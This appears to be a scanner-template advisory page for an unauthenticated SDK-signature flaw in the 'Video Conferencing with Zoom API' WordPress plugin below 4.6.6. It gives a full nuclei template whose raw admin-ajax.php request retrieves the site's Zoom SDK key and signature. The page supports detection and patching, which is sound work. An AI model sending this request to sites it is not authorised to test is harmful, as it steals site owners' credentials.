Video Conferencing with Zoom API < 4.6.6 - Unauthenticated SDK Signature Generation

highseverity

7.5CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

Zoom WordPress plugin < 4.6.6 contains a broken authentication caused by disabled nonce verification in an AJAX handler, letting unauthenticated attackers generate valid Zoom SDK signatures and retrieve the Zoom SDK key.

Impact

Unauthenticated attackers can generate valid SDK signatures and retrieve the Zoom SDK key, potentially compromising meeting security.

Fix

Update to version 4.6.6 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/video-conferencing-with-zoom-api/README.txt
Positive when: status_code == 200 and contains(body, "Video Conferencing with Zoom") and compare_versions(version, "<4.6.6")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(body, "\"success\":true", "\"sig\":\"eyJ", "\"type\":\"sdk\"")

Run it with nuclei: nuclei -id CVE-2026-1368 -u <target>

The full check

id: CVE-2026-1368

info:
  name: Video Conferencing with Zoom API < 4.6.6 - Unauthenticated SDK Signature Generation
  author: 0x_Akoko
  severity: high
  description: |
    Zoom WordPress plugin < 4.6.6 contains a broken authentication caused by disabled nonce verification in an AJAX handler, letting unauthenticated attackers generate valid Zoom SDK signatures and retrieve the Zoom SDK key.
  impact: |
    Unauthenticated attackers can generate valid SDK signatures and retrieve the Zoom SDK key, potentially compromising meeting security.
  remediation: |
    Update to version 4.6.6 or later.
  reference:
    - https://wpscan.com/vulnerability/218e6655-c5aa-4bce-86b2-cad3bb20020c/
    - https://wordpress.org/plugins/video-conferencing-with-zoom-api/
    - https://plugins.trac.wordpress.org/browser/video-conferencing-with-zoom-api/
  classification:
    cve-id: CVE-2026-1368
    epss-score: 0.01312
    epss-percentile: 0.70927
    cwe-id: CWE-862
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="/wp-content/plugins/video-conferencing-with-zoom-api/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,zoom,vczapi,unauth,intrusive

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/video-conferencing-with-zoom-api/README.txt"

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([\d.]+)'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Video Conferencing with Zoom")'
          - 'compare_versions(version, "<4.6.6")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=get_auth&meeting_id=123456789

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "\"sig\":\"eyJ", "\"type\":\"sdk\"")'
        condition: and

    extractors:
      - type: json
        name: sdk_key
        json:
          - '.data.key'

      - type: json
        name: sdk_signature
        json:
          - '.data.sig'

References

Use this check only on systems you are authorised to test. Where the data comes from